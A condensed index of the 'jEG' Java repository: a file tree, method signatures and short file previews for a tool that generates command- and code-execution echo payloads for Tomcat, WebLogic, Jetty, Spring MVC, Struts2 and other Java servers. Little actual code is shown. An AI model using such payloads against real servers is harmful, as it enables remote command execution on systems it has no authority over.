resources/ │ ├── messages_en.properties │ ├── messages_en.properties.bak │ ├── messages_zh.properties │ └── messages_zh.properties.bak ├── jeg-woodpecker/ │ ├── pom.xml │ └── src/ │ └── main/ │ └── java/ │ └── me/ │ └── gv7/ │ └── woodpecker/ │ ├── helper/ │ │ └── jEGHelper.java │ └── plugin/ │ └── WoodpeckerPluginManager.java └── pom.xml
SYMBOL INDEX (305 symbols across 51 files)
FILE: jeg-common/src/main/java/jeg/common/config/Config.java
class Config (line 3) | public class Config {
method getOutputDir (line 12) | public String getOutputDir() {
method setOutputDir (line 16) | public void setOutputDir(String outputDir) {
method getLoaderClassName (line 21) | public String getLoaderClassName() {
method setLoaderClassName (line 25) | public void setLoaderClassName(String loaderClassName) {
method getClassNameInFormatter (line 29) | public String getClassNameInFormatter() {
method setClassNameInFormatter (line 33) | public void setClassNameInFormatter(String classNameInFormatter) {
method getClassBytesInFormatter (line 37) | public byte[] getClassBytesInFormatter() {
method setClassBytesInFormatter (line 41) | public void setClassBytesInFormatter(byte[] classBytesInFormatter) {
method getClassBase64InFormatter (line 45) | public String getClassBase64InFormatter() {
method setClassBase64InFormatter (line 49) | public void setClassBase64InFormatter(String classBase64InFormatter) {
method getServerType (line 55) | public String getServerType() {
method setServerType (line 59) | public void setServerType(String serverType) {
method getFormatType (line 63) | public String getFormatType() {
method setFormatType (line 67) | public void setFormatType(String formatType) {
method getGadgetType (line 71) | public String getGadgetType() {
method setGadgetType (line 75) | public void setGadgetType(String gadgetType) {
method isImplementsASTTransformationType (line 79) | public boolean isImplementsASTTransformationType() {
method setImplementsASTTransformationType (line 83) | public void setImplementsASTTransformationType(boolean implementsASTTr...
method isImplementsScriptEngineFactory (line 87) | public boolean isImplementsScriptEngineFactory() {
method setImplementsScriptEngineFactory (line 91) | public void setImplementsScriptEngineFactory(boolean implementsScriptE...
FILE: jeg-common/src/main/java/jeg/common/config/Constants.java
type Constants (line 3) | public interface Constants {
FILE: jeg-common/src/main/java/jeg/common/format/BASE64Formatter.java
class BASE64Formatter (line 6) | public class BASE64Formatter implements IFormatter {
method transform (line 7) | @Override
FILE: jeg-common/src/main/java/jeg/common/format/BCELFormatter.java
class BCELFormatter (line 16) | public class BCELFormatter implements IFormatter {
method transform (line 17) | public byte[] transform(byte[] bytes, Config config) throws IOException {
class BCELoader (line 41) | class BCELoader extends ClassLoader {
method getClassName (line 43) | public String getClassName() {
method getBase64String (line 48) | public String getBase64String() throws IOException {
method BCELoader (line 52) | public BCELoader() throws Exception {
method base64Decode (line 69) | public static byte[] base64Decode(String str) throws Exception {
FILE: jeg-common/src/main/java/jeg/common/format/BigIntegerFormatter.java
class BigIntegerFormatter (line 8) | public class BigIntegerFormatter implements IFormatter {
method transform (line 9) | @Override
FILE: jeg-common/src/main/java/jeg/common/format/IFormatter.java
type IFormatter (line 5) | public interface IFormatter {
method transform (line 6) | public byte[] transform(byte[] bytes, Config config) throws Exception;
FILE: jeg-common/src/main/java/jeg/common/format/JARFormatter.java
class JARFormatter (line 12) | public class JARFormatter implements IFormatter {
method transform (line 13) | public byte[] transform(byte[] bytes, Config config) throws IOException {
FILE: jeg-common/src/main/java/jeg/common/format/JavaScriptFormatter.java
class JavaScriptFormatter (line 6) | public class JavaScriptFormatter implements IFormatter {
method transform (line 7) | public byte[] transform(byte[] bytes, Config config) throws Exception {
FILE: jeg-common/src/main/java/jeg/common/util/Base64Util.java
class Base64Util (line 3) | public class Base64Util {
method encodeToBase64 (line 5) | public static String encodeToBase64(byte[] input) throws Exception {
method decodeFromBase64 (line 23) | public static String decodeFromBase64(String input) throws Exception {
FILE: jeg-common/src/main/java/jeg/common/util/ClassUtil.java
class ClassUtil (line 7) | public class ClassUtil {
method generatePackageName (line 37) | public static String generatePackageName(String[] packageNames) {
method getRandomPackageName (line 44) | public static String getRandomPackageName(String[] packageNames) {
method getRandomName (line 48) | public static String getRandomName(String[]... arrays) {
method generateRandomString (line 61) | public static String generateRandomString() {
method getRandomClassName (line 72) | public static String getRandomClassName() {
method getRandomLoaderClassName (line 77) | public static String getRandomLoaderClassName() {
method getSimpleName (line 82) | public static String getSimpleName(String className) {
FILE: jeg-common/src/main/java/jeg/common/util/FileUtil.java
class FileUtil (line 5) | public class FileUtil {
method writeFile (line 6) | public static void writeFile(String filePath, byte[] bytes) throws IOE...
FILE: jeg-common/src/main/java/jeg/common/util/GadgetUtil.java
class GadgetUtil (line 8) | public class GadgetUtil {
method GadgetUtil (line 13) | public GadgetUtil(Config config, ClassPool pool, CtClass modifiedClass) {
method modify (line 19) | public byte[] modify() throws Exception {
method applyJDKAbstractTranslet (line 39) | public void applyJDKAbstractTranslet() throws NotFoundException, Canno...
method applyXALANAbstractTranslet (line 45) | public void applyXALANAbstractTranslet() throws NotFoundException, Can...
FILE: jeg-common/src/main/java/jeg/common/util/HeaderUtil.java
class HeaderUtil (line 5) | public class HeaderUtil {
method genHeaderName (line 10) | public static String genHeaderName(String[] keys) {
method genRandomKey (line 15) | private static String genRandomKey(String[] keys) {
method genRandomSuffix (line 19) | private static String genRandomSuffix() {
FILE: jeg-common/src/main/java/jeg/common/util/JavassistUtil.java
class JavassistUtil (line 13) | public class JavassistUtil {
method addMethod (line 17) | public static void addMethod(CtClass ctClass, String methodName, Strin...
method addField (line 31) | public static void addField(CtClass ctClass, String fieldName, String ...
method addStaticField (line 55) | public static void addStaticField(CtClass ctClass, String fieldName, S...
method removeSourceFileAttribute (line 82) | public static void removeSourceFileAttribute(CtClass ctClass) {
method removeAttribute (line 100) | public static synchronized AttributeInfo removeAttribute(List<Attribut...
method addFieldIfNotNull (line 110) | public static void addFieldIfNotNull(CtClass ctClass, String fieldName...
method addStaticFieldIfNotNull (line 116) | public static void addStaticFieldIfNotNull(CtClass ctClass, String fie...
method setNameIfNotNull (line 122) | public static void setNameIfNotNull(CtClass ctClass, String className)...
FILE: jeg-common/src/main/java/jeg/common/util/RandomUtil.java
class RandomUtil (line 5) | public class RandomUtil {
method genRandomLengthString (line 8) | public static String genRandomLengthString(int minLength) {
FILE: jeg-common/src/main/java/jeg/common/util/ReflectionUtil.java
class ReflectionUtil (line 7) | public class ReflectionUtil {
method setFV (line 9) | public static void setFV(Object var0, String var1, Object val) throws ...
method getFV (line 13) | public static Object getFV(Object obj, String fieldName) throws Except...
method getF (line 19) | public static Field getF(Object obj, String fieldName) throws NoSuchFi...
method invokeMethod (line 33) | public static synchronized Object invokeMethod(Object targetObject, St...
method invokeMethod (line 38) | public static Object invokeMethod(final Object obj, final String metho...
FILE: jeg-core/src/main/java/jeg/core/config/jEGConfig.java
class jEGConfig (line 11) | public class jEGConfig extends Config {
method jEGConfig (line 13) | public jEGConfig() {
method setServerType (line 16) | public void setServerType(String serverType) {
method setModelType (line 20) | public void setModelType(String modelType) {
method setClassName (line 24) | public void setClassName(String className) {
method setFormatType (line 28) | public void setFormatType(String formatType) {
method setOutputDir (line 32) | public void setOutputDir(String outputDir) {
method setReqHeaderName (line 36) | public void setReqHeaderName(String reqHeaderName) {
method setReqParamName (line 40) | public void setReqParamName(String reqParamName) {
method setRespHeaderName (line 44) | public void setRespHeaderName(String respHeaderName) {
method setBase64ClassString (line 48) | public void setBase64ClassString(String base64ClassString) {
method setClassBytes (line 52) | public void setClassBytes(byte[] classBytes) {
method setClassBytesLength (line 56) | public void setClassBytesLength(int classBytesLength) {
method setLoaderClassName (line 60) | public void setLoaderClassName(String loaderClassName) {
method setGadgetType (line 64) | public void setGadgetType(String gadgetType) {
method getModelType (line 85) | public String getModelType() {
method getServerType (line 89) | public String getServerType() {
method getClassName (line 93) | public String getClassName() {
method getFormatType (line 97) | public String getFormatType() {
method getOutputDir (line 101) | public String getOutputDir() {
method getDesKey (line 105) | public String getDesKey() {
method getReqHeaderName (line 109) | public String getReqHeaderName() {
method getReqParamName (line 113) | public String getReqParamName() {
method getRespHeaderName (line 117) | public String getRespHeaderName() {
method getBase64ClassString (line 121) | public String getBase64ClassString() {
method getClassBytes (line 125) | public byte[] getClassBytes() {
method getClassBytesLength (line 129) | public int getClassBytesLength() {
method getLoaderClassName (line 133) | public String getLoaderClassName() {
method getGadgetType (line 137) | public String getGadgetType() {
method build (line 141) | public void build() {
FILE: jeg-core/src/main/java/jeg/core/config/jEGConstants.java
type jEGConstants (line 5) | public interface jEGConstants extends Constants {
FILE: jeg-core/src/main/java/jeg/core/jEGenerator.java
class jEGenerator (line 15) | public class jEGenerator {
method jEGenerator (line 22) | public jEGenerator(jEGConfig config) throws Throwable {
method genPayload (line 28) | private void genPayload() throws Exception {
method formatPayload (line 58) | private void formatPayload() throws Throwable {
method getPayload (line 72) | public String getPayload() throws IOException {
FILE: jeg-core/src/main/java/jeg/core/template/all/DFSCmdExecTpl.java
class DFSCmdExecTpl (line 10) | public class DFSCmdExecTpl {
method DFSCmdExecTpl (line 26) | public DFSCmdExecTpl() {
method getReqHeaderName (line 40) | private static String getReqHeaderName() {
method i (line 44) | private static boolean i(Object obj){
method p (line 52) | private static void p(Object o, int depth){
method F (line 103) | private static void F(Object start, int depth){
FILE: jeg-core/src/main/java/jeg/core/template/all/DFSCodeExecTpl.java
class DFSCodeExecTpl (line 10) | public class DFSCodeExecTpl {
method DFSCodeExecTpl (line 26) | public DFSCodeExecTpl() {
method getReqParamName (line 40) | private static String getReqParamName() {
method i (line 44) | private static boolean i(Object obj){
method p (line 52) | private static void p(Object o, int depth){
method exec (line 102) | private static String exec(String var2) {
method base64Decode (line 114) | private static byte[] base64Decode(String str) throws Exception {
method F (line 125) | private static void F(Object start, int depth){
FILE: jeg-core/src/main/java/jeg/core/template/bes/BESCmdExecTpl.java
class BESCmdExecTpl (line 15) | public class BESCmdExecTpl {
method getReqHeaderName (line 23) | private static String getReqHeaderName() {
method BESCmdExecTpl (line 27) | public BESCmdExecTpl() throws InvocationTargetException, NoSuchMethodE...
method run (line 31) | public void run() throws NoSuchMethodException, InvocationTargetExcept...
method executeCommand (line 101) | public static String executeCommand(String cmd) {
FILE: jeg-core/src/main/java/jeg/core/template/bes/BESCodeExecTpl.java
class BESCodeExecTpl (line 12) | public class BESCodeExecTpl {
method getReqParamName (line 20) | private static String getReqParamName() {
method BESCodeExecTpl (line 24) | public BESCodeExecTpl() throws InvocationTargetException, NoSuchMethod...
method run (line 28) | public void run() throws NoSuchMethodException, InvocationTargetExcept...
method defineClazz (line 97) | private static String defineClazz(String var2) {
method base64Decode (line 109) | private static byte[] base64Decode(String str) throws Exception {
FILE: jeg-core/src/main/java/jeg/core/template/inforsuite/InforSuiteCmdExecTpl.java
class InforSuiteCmdExecTpl (line 15) | public class InforSuiteCmdExecTpl {
method getReqHeaderName (line 22) | private static String getReqHeaderName() {
method InforSuiteCmdExecTpl (line 26) | public InforSuiteCmdExecTpl() throws InvocationTargetException, NoSuch...
method run (line 30) | public void run() throws NoSuchMethodException, InvocationTargetExcept...
method executeCommand (line 100) | public static String executeCommand(String cmd) {
FILE: jeg-core/src/main/java/jeg/core/template/inforsuite/InforSuiteCodeExecTpl.java
class InforSuiteCodeExecTpl (line 12) | public class InforSuiteCodeExecTpl {
method getReqParamName (line 19) | private static String getReqParamName() {
method InforSuiteCodeExecTpl (line 23) | public InforSuiteCodeExecTpl() throws InvocationTargetException, NoSuc...
method run (line 27) | public void run() throws NoSuchMethodException, InvocationTargetExcept...
method defineClazz (line 95) | private static String defineClazz(String var2) {
method base64Decode (line 107) | private static byte[] base64Decode(String str) throws Exception {
FILE: jeg-core/src/main/java/jeg/core/template/jetty/JettyCmdExecTpl.java
class JettyCmdExecTpl (line 9) | public class JettyCmdExecTpl {
method getReqHeaderName (line 17) | private String getReqHeaderName() {
method JettyCmdExecTpl (line 22) | public JettyCmdExecTpl() {
method run (line 27) | private void run() {
method exec (line 80) | private String exec(String cmd) {
FILE: jeg-core/src/main/java/jeg/core/template/jetty/JettyCodeExecTpl.java
class JettyCodeExecTpl (line 8) | public class JettyCodeExecTpl {
method getReqParamName (line 17) | private String getReqParamName() {
method JettyCodeExecTpl (line 21) | public JettyCodeExecTpl() {
method run (line 25) | public void run() {
method exec (line 77) | private String exec(String var2) {
method base64Decode (line 89) | private byte[] base64Decode(String str) throws Exception {
FILE: jeg-core/src/main/java/jeg/core/template/resin/ResinCmdExecTpl.java
class ResinCmdExecTpl (line 9) | public class ResinCmdExecTpl {
method getReqHeaderName (line 17) | private String getReqHeaderName() {
method ResinCmdExecTpl (line 21) | public ResinCmdExecTpl() {
method run (line 25) | private void run() {
method exec (line 47) | private String exec(String cmd) {
FILE: jeg-core/src/main/java/jeg/core/template/resin/ResinCodeExecTpl.java
class ResinCodeExecTpl (line 7) | public class ResinCodeExecTpl {
method getReqParamName (line 15) | private String getReqParamName() {
method ResinCodeExecTpl (line 19) | ResinCodeExecTpl(){
method run (line 23) | private void run() {
method exec (line 55) | private String exec(String var2) {
method base64Decode (line 67) | private byte[] base64Decode(String str) throws Exception {
FILE: jeg-core/src/main/java/jeg/core/template/springmvc/SpringMVCCmdExecTpl.java
class SpringMVCCmdExecTpl (line 9) | public class SpringMVCCmdExecTpl {
method getReqHeaderName (line 17) | private String getReqHeaderName() {
method SpringMVCCmdExecTpl (line 21) | public SpringMVCCmdExecTpl() throws Exception {
method run (line 25) | public void run() {
method exec (line 44) | private String exec(String cmd) {
method invokeMethod (line 65) | private Object invokeMethod(Object targetObject, String methodName) th...
method invokeMethod (line 69) | private Object invokeMethod(final Object obj, final String methodName,...
FILE: jeg-core/src/main/java/jeg/core/template/springmvc/SpringMVCCodeExecTpl.java
class SpringMVCCodeExecTpl (line 7) | public class SpringMVCCodeExecTpl {
method getReqParamName (line 16) | private String getReqParamName() {
method SpringMVCCodeExecTpl (line 21) | public SpringMVCCodeExecTpl() throws Exception {
method run (line 25) | private void run() {
method exec (line 43) | private String exec(String var2) {
method base64Decode (line 55) | private byte[] base64Decode(String str) throws Exception {
method invokeMethod (line 66) | private Object invokeMethod(Object targetObject, String methodName) th...
method invokeMethod (line 70) | private Object invokeMethod(final Object obj, final String methodName,...
FILE: jeg-core/src/main/java/jeg/core/template/struts2/Struts2CmdExecTpl.java
class Struts2CmdExecTpl (line 9) | public class Struts2CmdExecTpl {
method getReqHeaderName (line 17) | private String getReqHeaderName() {
method Struts2CmdExecTpl (line 22) | public Struts2CmdExecTpl() throws Exception {
method run (line 26) | public void run(){
method exec (line 49) | public String exec(String cmd){
method invokeMethod (line 70) | private Object invokeMethod(Object targetObject, String methodName) th...
method invokeMethod (line 74) | private Object invokeMethod(final Object obj, final String methodNam...
FILE: jeg-core/src/main/java/jeg/core/template/struts2/Struts2CodeExecTpl.java
class Struts2CodeExecTpl (line 7) | public class Struts2CodeExecTpl {
method getReqParamName (line 16) | private String getReqParamName() {
method Struts2CodeExecTpl (line 21) | public Struts2CodeExecTpl() throws Exception{
method run (line 26) | public void run() {
method exec (line 52) | private String exec(String var2) {
method base64Decode (line 64) | private byte[] base64Decode(String str) throws Exception {
method invokeMethod (line 75) | private Object invokeMethod(Object targetObject, String methodName) th...
method invokeMethod (line 79) | private synchronized Object invokeMethod(final Object obj, final Strin...
FILE: jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCmdExecTpl.java
class TomcatCmdExecTpl (line 10) | public class TomcatCmdExecTpl {
method TomcatCmdExecTpl (line 18) | public TomcatCmdExecTpl() throws Exception{
method getReqHeaderName (line 23) | private String getReqHeaderName() {
method run (line 28) | private void run() {
method exec (line 103) | private String exec(String cmd) {
FILE: jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCodeExecTpl.java
class TomcatCodeExecTpl (line 9) | public class TomcatCodeExecTpl {
method TomcatCodeExecTpl (line 15) | public TomcatCodeExecTpl(){
method getReqParamName (line 19) | private String getReqParamName() {
method run (line 23) | private void run() {
method exec (line 94) | private String exec(String var2) {
method base64Decode (line 106) | private byte[] base64Decode(String str) throws Exception {
FILE: jeg-core/src/main/java/jeg/core/template/tongweb/TongWebCmdExecTpl.java
class TongWebCmdExecTpl (line 13) | public class TongWebCmdExecTpl {
method getReqHeaderName (line 21) | private static String getReqHeaderName() {
method TongWebCmdExecTpl (line 25) | public TongWebCmdExecTpl() throws InvocationTargetException, NoSuchMet...
method run (line 30) | public void run() throws NoSuchMethodException, InvocationTargetExcept...
method executeCommand (line 101) | public static String executeCommand(String cmd) {
FILE: jeg-core/src/main/java/jeg/core/template/tongweb/TongWebCodeExecTpl.java
class TongWebCodeExecTpl (line 14) | public class TongWebCodeExecTpl {
method getReqParamName (line 21) | private static String getReqParamName() {
method TongWebCodeExecTpl (line 25) | public TongWebCodeExecTpl() throws InvocationTargetException, NoSuchMe...
method run (line 29) | public void run() throws NoSuchMethodException, InvocationTargetExcept...
method defineClazz (line 99) | private static String defineClazz(String var2) {
method base64Decode (line 111) | private static byte[] base64Decode(String str) throws Exception {
FILE: jeg-core/src/main/java/jeg/core/template/undertow/UndertowCmdExecTpl.java
class UndertowCmdExecTpl (line 11) | public class UndertowCmdExecTpl {
method getReqHeaderName (line 16) | private String getReqHeaderName() {
method UndertowCmdExecTpl (line 21) | public UndertowCmdExecTpl(){
method run (line 25) | private void run(){
method exec (line 48) | private String exec(String cmd) {
method getFV (line 69) | private synchronized Object getFV(final Object o, final String s) thro...
method invokeMethod (line 89) | private synchronized Object invokeMethod(final Object obj,final String...
FILE: jeg-core/src/main/java/jeg/core/template/undertow/UndertowCodeExecTpl.java
class UndertowCodeExecTpl (line 9) | public class UndertowCodeExecTpl {
method getReqParamName (line 15) | private static String getReqParamName() {
method UndertowCodeExecTpl (line 19) | public UndertowCodeExecTpl() {
method run (line 23) | private void run() {
method getFV (line 49) | private synchronized Object getFV(final Object o, final String s) thro...
method invokeMethod (line 67) | private synchronized Object invokeMethod(final Object obj, final Strin...
method exec (line 87) | private String exec(String var2) {
method base64Decode (line 99) | private byte[] base64Decode(String str) throws Exception {
FILE: jeg-core/src/main/java/jeg/core/template/weblogic/WebLogicCmdExecTpl.java
class WebLogicCmdExecTpl (line 15) | public class WebLogicCmdExecTpl {
method getReqHeaderName (line 20) | private String getReqHeaderName() {
method WebLogicCmdExecTpl (line 25) | public WebLogicCmdExecTpl() {
method run (line 29) | private void run(){
method exec (line 60) | public String exec(String cmd){
method getFV (line 80) | private synchronized Object getFV(final Object o, final String s) thro...
method invokeMethod (line 99) | private synchronized Object invokeMethod(final Object obj, final Strin...
FILE: jeg-core/src/main/java/jeg/core/template/weblogic/WebLogicCodeExecTpl.java
class WebLogicCodeExecTpl (line 9) | public class WebLogicCodeExecTpl {
method getReqParamName (line 14) | private String getReqParamName() {
method WebLogicCodeExecTpl (line 18) | public WebLogicCodeExecTpl() {
method run (line 22) | private void run() {
method exec (line 52) | private String exec(String var2) {
method base64Decode (line 64) | private byte[] base64Decode(String str) throws Exception {
method getFV (line 75) | private synchronized Object getFV(final Object o, final String s) thr...
method invokeMethod (line 94) | private synchronized Object invokeMethod(final Object obj, final Stri...
FILE: jeg-core/src/main/java/jeg/core/template/websphere/WebSphereCmdExecTpl.java
class WebSphereCmdExecTpl (line 8) | public class WebSphereCmdExecTpl {
method getReqHeaderName (line 15) | private String getReqHeaderName() {
method WebSphereCmdExecTpl (line 19) | public WebSphereCmdExecTpl() {
method run (line 24) | private void run() {
method exec (line 50) | private String exec(String cmd) {
FILE: jeg-core/src/main/java/jeg/core/template/websphere/WebSphereCodeExecTpl.java
class WebSphereCodeExecTpl (line 9) | public class WebSphereCodeExecTpl {
method WebSphereCodeExecTpl (line 15) | public WebSphereCodeExecTpl() {
method getReqParamName (line 20) | private String getReqParamName() {
method run (line 25) | private void run() {
method exec (line 51) | private String exec(String var2) {
method base64Decode (line 63) | private byte[] base64Decode(String str) throws Exception {
FILE: jeg-core/src/main/java/jeg/core/util/TemplateUtil.java
class TemplateUtil (line 32) | public class TemplateUtil {
method getEchoTplClassName (line 35) | public static String getEchoTplClassName(String serverType, String mod...
FILE: jeg-core/src/test/java/GeneratorTest.java
class GeneratorTest (line 6) | public class GeneratorTest {
method main (line 7) | public static void main(String[] args) throws Throwable {
FILE: jeg-gui/src/main/java/jeg/gui/form/jEGForm.java
class jEGForm (line 19) | public class jEGForm {
method start (line 52) | public static void start() {
method jEGForm (line 79) | public jEGForm() {
method $$$setupUI$$$ (line 203) | private void $$$setupUI$$$() {
method $$$getRootComponent$$$ (line 308) | public JComponent $$$getRootComponent$$$() {
FILE: jeg-gui/src/main/java/jeg/gui/jEGApp.java
class jEGApp (line 8) | public class jEGApp {
method main (line 9) | public static void main(String[] args) {
method createAndShowGUI (line 14) | private static void createAndShowGUI() {
FILE: jeg-gui/src/main/java/jeg/gui/util/ComponentUtil.java
class ComponentUtil (line 14) | public class ComponentUtil {
method createDocumentListener (line 15) | public static DocumentListener createDocumentListener(JTextComponent t...
method restoreScrollPosition (line 48) | public static void restoreScrollPosition(JScrollPane scrollPane) {
method createSimpleAttributeSet (line 63) | public static SimpleAttributeSet createSimpleAttributeSet(Color foregr...
FILE: jeg-gui/src/main/java/jeg/gui/util/TextPaneUtil.java
class TextPaneUtil (line 11) | public class TextPaneUtil {
method rawPrintln (line 29) | public static void rawPrintln(String str) {
method successPrintln (line 37) | public static void successPrintln(String str) {
method errorPrintln (line 52) | public static void errorPrintln(String str) {
method startPrintln (line 60) | public static void startPrintln(String str) {
class WarpEditorKit (line 72) | public static class WarpEditorKit extends StyledEditorKit {
method getViewFactory (line 76) | @Override
class WarpColumnFactory (line 82) | private static class WarpColumnFactory implements ViewFactory {
method create (line 84) | public View create(Element elem) {
class WarpLabelView (line 105) | private static class WarpLabelView extends LabelView {
method WarpLabelView (line 107) | public WarpLabelView(Element elem) {
method getMinimumSpan (line 111) | @Override
method initTextPane (line 125) | public static void initTextPane(JTextPane textPane) {
FILE: jeg-woodpecker/src/main/java/me/gv7/woodpecker/helper/jEGHelper.java
class jEGHelper (line 12) | public class jEGHelper implements IHelperPlugin {
method HelperPluginMain (line 16) | @Override
class jEchoHelper (line 41) | public class jEchoHelper implements IHelper {
method jEchoHelper (line 45) | public jEchoHelper(String helperName) {
method getHelperTabCaption (line 49) | @Override
method getHelperCutomArgs (line 55) | @Override
method doHelp (line 135) | @Override
method resultOutput (line 159) | public static void resultOutput(IResultOutput resultOutput, jEGConfig ...
FILE: jeg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java
class WoodpeckerPluginManager (line 5) | public class WoodpeckerPluginManager implements IPluginManager {
method WoodpeckerPluginManager (line 6) | public WoodpeckerPluginManager() {
method registerPluginManagerCallbacks (line 9) | @Override
Condensed preview — 65 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (219K chars).
[
{
"path": "LICENSE",
"chars": 1064,
"preview": "MIT License\n\nCopyright (c) 2025 pen4uin\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof"
},
{
"path": "README.md",
"chars": 2794,
"preview": "<h4 align=\"right\"><strong><a href=\"jeg-docs/README_EN.md\">English</a></strong> | 中文 </h4>\n<p align=\"center\">\n <h1 align"
},
{
"path": "jeg-common/pom.xml",
"chars": 757,
"preview": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:sc"
},
{
"path": "jeg-common/src/main/java/jeg/common/config/Config.java",
"chars": 2585,
"preview": "package jeg.common.config;\n\npublic class Config {\n private String serverType;\n private String formatType;\n priv"
},
{
"path": "jeg-common/src/main/java/jeg/common/config/Constants.java",
"chars": 923,
"preview": "package jeg.common.config;\n\npublic interface Constants {\n\n String FORMAT_CLASS = \"CLASS\";\n String FORMAT_BCEL = \"B"
},
{
"path": "jeg-common/src/main/java/jeg/common/format/BASE64Formatter.java",
"chars": 343,
"preview": "package jeg.common.format;\n\nimport jeg.common.config.Config;\nimport jeg.common.util.Base64Util;\n\npublic class BASE64Form"
},
{
"path": "jeg-common/src/main/java/jeg/common/format/BCELFormatter.java",
"chars": 3160,
"preview": "package jeg.common.format;\n\nimport javassist.ClassClassPath;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimpor"
},
{
"path": "jeg-common/src/main/java/jeg/common/format/BigIntegerFormatter.java",
"chars": 338,
"preview": "package jeg.common.format;\n\nimport jeg.common.config.Config;\n\nimport java.io.IOException;\nimport java.math.BigInteger;\n\n"
},
{
"path": "jeg-common/src/main/java/jeg/common/format/IFormatter.java",
"chars": 169,
"preview": "package jeg.common.format;\n\nimport jeg.common.config.Config;\n\npublic interface IFormatter {\n public byte[] transform("
},
{
"path": "jeg-common/src/main/java/jeg/common/format/JARFormatter.java",
"chars": 1915,
"preview": "package jeg.common.format;\n\nimport jeg.common.config.Config;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOExc"
},
{
"path": "jeg-common/src/main/java/jeg/common/format/JavaScriptFormatter.java",
"chars": 2202,
"preview": "package jeg.common.format;\n\nimport jeg.common.config.Config;\nimport jeg.common.util.Base64Util;\n\npublic class JavaScript"
},
{
"path": "jeg-common/src/main/java/jeg/common/util/Base64Util.java",
"chars": 1635,
"preview": "package jeg.common.util;\n\npublic class Base64Util {\n\n public static String encodeToBase64(byte[] input) throws Except"
},
{
"path": "jeg-common/src/main/java/jeg/common/util/ClassUtil.java",
"chars": 2668,
"preview": "package jeg.common.util;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Random;\n\npublic class Clas"
},
{
"path": "jeg-common/src/main/java/jeg/common/util/FileUtil.java",
"chars": 469,
"preview": "package jeg.common.util;\n\nimport java.io.*;\n\npublic class FileUtil {\n public static void writeFile(String filePath, b"
},
{
"path": "jeg-common/src/main/java/jeg/common/util/GadgetUtil.java",
"chars": 1889,
"preview": "package jeg.common.util;\n\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport javassist.*;\ni"
},
{
"path": "jeg-common/src/main/java/jeg/common/util/HeaderUtil.java",
"chars": 810,
"preview": "package jeg.common.util;\n\nimport java.util.Random;\n\npublic class HeaderUtil {\n\n private static final Random RANDOM = "
},
{
"path": "jeg-common/src/main/java/jeg/common/util/JavassistUtil.java",
"chars": 4610,
"preview": "package jeg.common.util;\n\nimport javassist.*;\nimport javassist.bytecode.AttributeInfo;\nimport javassist.bytecode.ClassFi"
},
{
"path": "jeg-common/src/main/java/jeg/common/util/RandomUtil.java",
"chars": 575,
"preview": "package jeg.common.util;\n\nimport java.util.Random;\n\npublic class RandomUtil {\n\n // 生成随机长度的字符串\n public static Strin"
},
{
"path": "jeg-common/src/main/java/jeg/common/util/ReflectionUtil.java",
"chars": 3003,
"preview": "package jeg.common.util;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport jav"
},
{
"path": "jeg-core/pom.xml",
"chars": 743,
"preview": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:sc"
},
{
"path": "jeg-core/src/main/java/jeg/core/config/jEGConfig.java",
"chars": 4181,
"preview": "package jeg.core.config;\n\nimport jeg.common.config.Config;\nimport jeg.common.config.Constants;\nimport jeg.common.util.Cl"
},
{
"path": "jeg-core/src/main/java/jeg/core/config/jEGConstants.java",
"chars": 447,
"preview": "package jeg.core.config;\n\nimport jeg.common.config.Constants;\n\npublic interface jEGConstants extends Constants {\n\n St"
},
{
"path": "jeg-core/src/main/java/jeg/core/jEGenerator.java",
"chars": 4025,
"preview": "package jeg.core;\n\nimport javassist.ClassClassPath;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport jeg.com"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/all/DFSCmdExecTpl.java",
"chars": 2964,
"preview": "package jeg.core.template.all;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Inv"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/all/DFSCodeExecTpl.java",
"chars": 3810,
"preview": "package jeg.core.template.all;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Inv"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/bes/BESCmdExecTpl.java",
"chars": 4873,
"preview": "package jeg.core.template.bes;\n\nimport jeg.core.template.jetty.JettyCmdExecTpl;\n\nimport java.io.InputStream;\nimport java"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/bes/BESCodeExecTpl.java",
"chars": 4854,
"preview": "package jeg.core.template.bes;\n\nimport java.io.Writer;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\ni"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/inforsuite/InforSuiteCmdExecTpl.java",
"chars": 4946,
"preview": "package jeg.core.template.inforsuite;\n\nimport jeg.core.template.bes.BESCmdExecTpl;\n\nimport java.io.InputStream;\nimport j"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/inforsuite/InforSuiteCodeExecTpl.java",
"chars": 4930,
"preview": "package jeg.core.template.inforsuite;\n\nimport java.io.Writer;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.F"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/jetty/JettyCmdExecTpl.java",
"chars": 3804,
"preview": "package jeg.core.template.jetty;\n\nimport java.io.InputStream;\nimport java.io.PrintWriter;\nimport java.lang.reflect.Array"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/jetty/JettyCodeExecTpl.java",
"chars": 4017,
"preview": "package jeg.core.template.jetty;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.F"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/resin/ResinCmdExecTpl.java",
"chars": 2324,
